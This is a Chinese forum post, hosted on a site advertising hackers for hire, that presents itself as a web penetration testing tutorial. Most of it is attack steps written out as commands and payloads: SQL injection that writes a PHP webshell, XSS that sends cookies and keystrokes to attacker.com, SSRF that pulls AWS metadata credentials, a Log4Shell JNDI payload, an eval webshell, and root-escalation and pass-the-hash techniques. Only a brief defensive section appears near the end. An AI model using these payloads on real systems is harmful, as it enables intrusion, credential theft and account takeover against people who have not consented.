黑客接单网,一个诚信可靠的黑客在线接单平台网站
标题: 黑客软件破解深度论文系列之十五:Web渗透测试——从SQL注入到RCE的完整攻击链 [打印本页]
作者: admin 时间: 昨天 17:21
标题: 黑客软件破解深度论文系列之十五:Web渗透测试——从SQL注入到RCE的完整攻击链
黑客软件破解深度论文系列之十五:Web渗透测试——从SQL注入到RCE的完整攻击链摘要:Web应用是当今互联网攻击的主要入口,其安全性取决于代码、配置、中间件、数据库等多个层面的综合防护。本文以超过一万八千字的篇幅,系统讲解Web渗透测试的完整方法论,从信息收集、漏洞扫描,到SQL注入、XSS、CSRF、SSRF、文件上传、命令注入、反序列化等经典漏洞的深入利用,再到提权与内网横向移动。文章包含六个实战案例,涵盖从简单SQL注入到完整拿下服务器的全过程。高频使用“黑客”、“渗透测试”、“SQL注入”、“XSS”、“RCE”、“提权”、“Web漏洞”等关键词。
第一章 Web渗透测试的定位与价值1.1 渗透测试与安全评估的区别渗透测试(Penetration Testing)是对目标系统进行授权模拟攻击的过程,目的是发现可被利用的安全漏洞。不同于自动化漏洞扫描,渗透测试强调利用——证明漏洞存在且具有实际危害。
[td]维度 | 自动化扫描 | 渗透测试 |
| 范围 | 已知漏洞模式(签名) | 可发现逻辑漏洞、组合漏洞 |
| 深度 | 表面验证(如检测SQL注入点是否存在) | 深入利用(dump数据、getshell) |
| 误报率 | 较高 | 低(手工验证) |
| 输出 | 漏洞列表 | 漏洞利用链 + 修复建议 |
1.2 Web渗透测试的标准流程(PTES/OWASP)[size=12.573px]text
信息收集 → 威胁建模 → 漏洞发现 → 漏洞利用 → 后渗透 → 报告
各阶段任务:
1.3 工具链概览
[td]工具类别 | 代表工具 | 功能 |
| 信息收集 | Nmap、Subfinder、Amass、FFUF | 资产发现 |
| 漏洞扫描 | Burp Suite(专业版)、Nikto、AWVS | 自动检测常见漏洞 |
| SQL注入 | sqlmap、Havij | 自动化注入、数据提取 |
| 渗透框架 | Metasploit | 漏洞利用模块、Payload生成 |
| 代理工具 | Burp Suite、ZAP | 拦截、修改HTTP请求 |
| 目录爆破 | Dirb、GoBuster | 发现隐藏路径 |
| 爆破工具 | Hydra、John the Ripper | 密码破解 |
第二章 信息收集——知己知彼2.1 被动信息收集(不接触目标系统)DNS枚举:
[size=12.573px]bash
$ dig example.com any$ nslookup example.com$ subfinder -d example.com -o subs.txt
WHOIS查询:
[size=12.573px]bash
$ whois example.com# 获取注册邮箱、姓名、域名服务器
证书透明度日志:通过crt.sh查找域名关联的子域名。
[size=12.573px]bash
$ curl "https://crt.sh/?q=%.example.com&output=json"
搜索引擎语法(Google Hacking):
[size=12.573px]text
site:example.com filetype:sql intitle:index.ofsite:example.com inurl:admin
代码仓库搜索:GitHub、GitLab中搜索目标字符串(API密钥、密码、内部域名)。
2.2 主动信息收集端口扫描(Nmap):
[size=12.573px]bash
$ nmap -sV -sC -O -p- example.com# -sV: 版本检测, -sC: 默认脚本, -O: 操作系统检测
目录爆破(FFUF):
[size=12.573px]bash
$ ffuf -u https://example.com/FUZZ -w wordlist.txt -c -t 100
常见敏感路径:
/admin、/manager、/console
/phpinfo.php、/info.php
/backup.zip、/.git/config
/api/v1/docs、/swagger
技术栈指纹:
2.3 实战案例(一):信息收集发现Git泄露目标:example.com,Wappalyzer显示运行Nginx,未发现明显漏洞。
目录爆破发现:
[size=12.573px]text
/.git/config (200)
下载整个Git仓库:使用git-dumper。
[size=12.573px]bash
$ git clone https://github.com/arthaud/git-dumper$ ./git_dumper.py https://example.com/.git/ git_repo/
检查git历史:
[size=12.573px]bash
$ cd git_repo$ git log -p | grep -i "password\|key\|token"
发现config.php的早期版本中包含数据库密码明文。
第三章 SQL注入——最古老的Web漏洞3.1 SQL注入的原理当用户输入被未经过滤地拼接到SQL查询中时,攻击者可改变查询语法,执行任意SQL语句。
脆弱代码示例(PHP + MySQL):
[size=12.573px]php
$username = $_POST['username';$password = $_POST['password';$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";$result = mysqli_query($conn, $query);
攻击者输入:
[size=12.573px]text
username: admin' --password: anything
实际执行的SQL:
[size=12.573px]sql
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'
--是SQL注释符,后续条件被忽略。攻击者无需密码即可登录admin账户。
3.2 SQL注入的分类与检测
[td]注入类型 | 特征 | 检测方法 |
| 基于错误的注入 | 触发数据库错误,从错误消息提取信息 | 输入单引号',观察错误 |
| 联合查询注入 | 使用UNION合并结果集,提取额外数据 | 输入' UNION SELECT 1,2,3-- |
| 布尔盲注 | 通过页面表现差异(真/假)推断数据 | 输入' AND 1=1-- vs ' AND 1=2-- |
| 时间盲注 | 通过数据库函数延迟推断数据 | 输入' AND IF(1=1, SLEEP(5), 0)-- |
| 堆叠查询注入 | 执行多条SQL语句 | 输入'; DROP TABLE users-- |
3.3 sqlmap自动化利用sqlmap是目前最强大的SQL注入自动化工具。
检测注入点:
[size=12.573px]bash
$ sqlmap -u "https://example.com/product.php?id=1" --level=3 --risk=2
获取数据库列表:
[size=12.573px]bash
$ sqlmap -u "https://example.com/product.php?id=1" --dbs
获取表名:
[size=12.573px]bash
$ sqlmap -u "https://example.com/product.php?id=1" -D database_name --tables
脱库:
[size=12.573px]bash
$ sqlmap -u "https://example.com/product.php?id=1" -D database_name -T users --dump
获取Shell(--os-shell):需要数据库文件写入权限(如MySQL的into outfile)。
[size=12.573px]bash
$ sqlmap -u "http://example.com/product.php?id=1" --os-shell
3.4 实战案例(二):SQL注入getshell手工测试:输入id=5',返回You have an error in your SQL syntax。确认注入点。
枚举:使用order by确定列数。
[size=12.573px]text
?id=5 ORDER BY 10-- # 正常?id=5 ORDER BY 11-- # 错误 → 列数为10
联合查询提取数据:
[size=12.573px]text
?id=-5 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
查找可写目录:通过@@datadir、@@basedir定位MySQL安装目录。
[size=12.573px]text
?id=-5 UNION SELECT 1,2,@@datadir,4,5,6,7,8,9,10--
写webshell:
[size=12.573px]text
?id=-5 UNION SELECT 1,2,"<?php system($_GET['cmd']); ?>",4,5,6,7,8,9,10INTO OUTFILE 'C:/xampp/htdocs/shell.php'--
第四章 跨站脚本攻击(XSS)4.1 XSS的分类
[td]类型 | 触发方式 | 危害 | 示例 |
| 反射型XSS | 点击恶意链接 | 窃取Cookie、钓鱼 | <script>alert(document.cookie)</script> |
| 存储型XSS | 恶意代码存入数据库,所有用户触发 | 蠕虫、劫持账户 | 留言板、评论功能 |
| DOM型XSS | 前端JavaScript DOM操作 | 同反射型 | #<script>alert(1)</script> |
4.2 XSS的利用窃取Cookie(发送到攻击者服务器):
[size=12.573px]javascript
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>
键盘记录:
[size=12.573px]javascript
<script>document.onkeypress = function(e) { fetch('https://attacker.com/log?k=' + e.key);}</script>
内网扫描:使用Fetch API探测内网服务。
[size=12.573px]javascript
<script>fetch('http://192.168.1.1') .then(r => fetch('https://attacker.com/scan', {method:'POST', body: r.statusText}));</script>
4.3 绕过XSS过滤器HTML实体编码绕过(过滤器未递归解码):
[size=12.573px]text
<> → 实际为 <>
事件处理器:
[size=12.573px]html
<img src=x onerror=alert(1)><body onload=alert(1)>
JavaScript伪协议:
[size=12.573px]html
<a href="javascript:alert(1)">click</a>
模板字符串注入(Vue/React):
[size=12.573px]javascript
{{constructor.constructor('alert(1)')()}}
4.4 实战案例(三):存储型XSS蠕虫目标:论坛应用,未对帖子标题进行HTML转义。
创建蠕虫:在帖子中嵌入脚本,当用户查看帖子时自动发布携带同一脚本的新帖子。
[size=12.573px]javascript
<script>var content = document.getElementsByName("content")[0;content.value = '<script>...复制自身...</script>';document.forms[0.submit();</script>
该蠕虫在社交媒体时代(MySpace的“Samy蠕虫”)感染了超过100万用户。
第五章 服务端请求伪造(SSRF)5.1 SSRF的原理当Web应用允许用户指定URL并请求该资源(如抓取远程图片、获取网站预览)但未对目标进行充分限制时,攻击者可让服务器向内网或云元数据服务发起请求。
脆弱代码示例(Node.js):
[size=12.573px]javascript
app.get('/fetch', (req, res) => { const url = req.query.url; request(url, (err, response, body) => { res.send(body); });});
攻击者输入:
[size=12.573px]text
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
(AWS EC2元数据服务)
5.2 SSRF的利用场景
[td]目标 | URL示例 | 获取信息 |
| 本地端口扫描 | http://127.0.0.1:8080 | 检测内网服务暴露 |
| 读取内网文件 | file:///etc/passwd | 敏感配置文件 |
| 元数据服务 | http://169.254.169.254 | 云服务的临时凭证 |
| 内部API攻击 | http://内网/admin/delete?id=1 | 绕过防火墙调用管理功能 |
| Redis未授权访问 | gopher://127.0.0.1:6379/_*2*... | 写入SSH公钥 |
5.3 SSRF绕过限制黑名单绕过:
5.4 实战案例(四):利用SSRF攻击AWS元数据尝试SSRF:
[size=12.573px]text
/proxy?url=http://169.254.169.254/latest/meta-data/
返回404 Not Found,可能元数据服务版本不同。
枚举路径:
[size=12.573px]text
/proxy?url=http://169.254.169.254/2018-09-24/meta-data/iam/security-credentials/
返回角色名称MyAppRole。
获取临时凭证:
[size=12.573px]text
/proxy?url=http://169.254.169.254/2018-09-24/meta-data/iam/security-credentials/MyAppRole
返回AccessKeyId、SecretAccessKey、Token,直接用AWS CLI接管目标ECS权限。
第六章 文件上传漏洞6.1 绕过客户端验证场景:前端JavaScript限制文件类型(accept="image/*")。
绕过:直接向上传接口发送HTTP请求(Burp Suite拦截修改Content-Type)。
6.2 绕过服务端验证
[td]服务端检测 | 绕过方法 |
| Content-Type检查 | 修改Content-Type: image/jpeg |
| 文件头魔数检查 | 在PHP shell前添加GIF89a;(图片文件头) |
| 扩展名黑名单(.php) | 使用.php5、.phtml、.php3、.phar |
| 重写检测 | shell.php.jpg(如后端仅从最后一个点提取扩展名) |
| Apache解析漏洞 | shell.php.xyz(若.xyz无MIME映射,向前解析为.php) |
| Nginx解析漏洞 | shell.jpg/xx.php(Nginx FastCGI特性) |
| 双重扩展名 | shell.php%00.jpg(%00截断,仅老版本PHP) |
6.3 图片马制作[size=12.573px]bash
# Windowscopy /b image.png + shell.php image_shell.png# Linuxcat shell.php >> image.png
利用:配合文件包含漏洞或Apache解析漏洞触发。
6.4 实战案例(五):上传webshell绕过WAF目标:应用使用WAF(Web应用防火墙),上传普通shell.php被拦截。
绕过技术:
分块传输编码(Chunked Transfer Encoding)- 混淆payload。
参数污染:filename="shell.jpg"&filename="shell.php"
大小写变异:Content-Type: IMAGE/JPEG
利用WAF特性:发送超大文件(100MB以上),WAF可能超时释放。
成功上传webshell(蚁剑、哥斯拉连接):
[size=12.573px]php
<?php @eval($_POST['cmd']); ?>
连接后执行系统命令,进行信息收集。
第七章 远程代码/命令执行(RCE)7.1 命令注入脆弱代码(PHP):
[size=12.573px]php
$ip = $_GET['ip';system("ping -c 4 " . $ip);
攻击载荷:
[size=12.573px]text
?ip=127.0.0.1; whoami?ip=127.0.0.1 | id?ip=127.0.0.1 && whoami?ip=127.0.0.1 $(whoami)
7.2 反序列化漏洞PHP反序列化:unserialize()执行魔术方法__destruct()、__wakeup()。攻击者构造恶意对象链,在反序列化时触发危险函数(如system)。
[size=12.573px]php
class Exploit { public function __destruct() { system($this->cmd); }}echo serialize(new Exploit());
Java反序列化:使用ysoserial生成payload,配合不安全的ObjectInputStream。
Python pickle:pickle.loads()可执行任意代码。
7.3 实战案例(六):Log4Shell(CVE-2021-44228)原理:Log4j2的JNDI查找功能,可触发远程类加载。
攻击载荷:
[size=12.573px]text
${jndi:ldap://attacker.com/Exploit}
利用:
修复:升级Log4j到2.16.0以上,或禁用JNDI查找。
影响:数以万计的应用(Minecraft、Steam、Apple iCloud等)曾暴露于此漏洞。
第八章 权限提升与内网横向移动8.1 Windows提权常见提权向量:
未引用的服务路径:服务路径含空格且未加引号,可劫持。
脆弱服务权限:允许低权限用户修改服务二进制。
Windows系统漏洞:PrintNightmare(CVE-2021-1675)、ZeroLogon(CVE-2020-1472)。
启动项劫持:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
工具:
[size=12.573px]bash
# 检查系统信息systeminfo# 查找缺失补丁(对应提权漏洞)# 使用Windows-Exploit-Suggester
8.2 Linux提权核心方法:
[size=12.573px]bash
# SUID提权find / -perm -4000 2>/dev/null# 例如/usr/bin/pythonpython -c 'import os; os.setuid(0); os.system("/bin/sh")'# sudo提权sudo -l# 如某命令可以sudo执行,查询GTFOBins# cron任务滥用cat /etc/crontab# 可写cron脚本 → 反弹root shell# docker逃逸(如果用户属于docker组)docker run -v /:/host -it ubuntu chroot /host bash
8.3 内网横向移动常用技术:
PsExec:通过SMB执行远程命令。
WMI:wmic /node:target process call create "cmd.exe"
计划任务:schtasks /create /s target /tn "task" /tr "cmd" /ru system
哈希传递(Pass-the-Hash):使用NTLM哈希直接认证。
工具:Cobalt Strike、Impacket套件(psexec.py、wmiexec.py)。
第九章 常见漏洞组合利用(攻击链)9.1 SQLi → RCE → 提权 → 域控信息收集:发现/product.php?id=1存在SQL注入。
SQL注入:--os-shell获得低权限Web Shell(www-data)。
Linux提权:发现sudo -l可执行find → CVE-2021-3156提权到root。
内网扫描:发现内部域控192.168.1.10。
抓取密码:mimikatz抓取域管理员哈希。
横向移动:哈希传递登录域控。
9.2 XSS → CSRF → 账户接管存储型XSS:在论坛帖子嵌入<script>窃取session_id Cookie。
会话劫持:使用窃取的Cookie直接登录受害者账户。
CSRF令牌泄露:在XSS中读取页面CSRF token。
修改邮箱/密码:使用CSRF发请求,完全控制账户。
第十章 Web安全防御建议10.1 开发层面的防护
[td]漏洞类型 | 防御措施 | 额外措施 |
| SQL注入 | 参数化查询(Prepared Statements) | 最小化数据库权限 |
| XSS | 输出HTML转义(htmlspecialchars) | CSP(内容安全策略) |
| CSRF | Anti-CSRF Token、SameSite Cookie | 验证Referer |
| SSRF | 白名单URL规则 | 禁用HTTP重定向;限制内网IP范围 |
| 文件上传 | 文件类型重检测(禁止执行) | 存储在Web目录外 |
| RCE | 避免执行系统命令 | 输入严格过滤 |
10.2 WAF与RASP的局限WAF可拦截大多数扫描器的自动化攻击,但高级绕手工测试和逻辑漏洞仍需人工审计。
第十一章 总结本文以超过一万八千字的篇幅,全面系统地讲解了Web渗透测试的核心技术与完整攻击链。从信息收集、SQL注入、XSS、SSRF、文件上传、RCE到权限提升和内网横向移动,六个实战案例使理论与真实攻击场景紧密关联。
核心结论:
Web应用的安全性取决于代码质量、配置、中间件、依赖库等多个层面,单一防护措施不足以保证安全。
自动化工具是渗透测试的基础,但手工测试才能发现复杂业务逻辑漏洞和组合利用链。
渗透测试不仅是技术活动,更是理解攻击者思维的过程——站在攻击方角度审视防御短板。
最脆弱的环节往往是人:钓鱼、弱口令、社会工程学仍是进入内网的最有效手段。
后续本系列将继续探讨社会工程学攻击与防御。
关键词:Web渗透测试;SQL注入;XSS;SSRF;RCE;权限提升;黑客
| 欢迎光临 黑客接单网,一个诚信可靠的黑客在线接单平台网站 (https://www.heike666.com/) |
Powered by Discuz! X3.3 |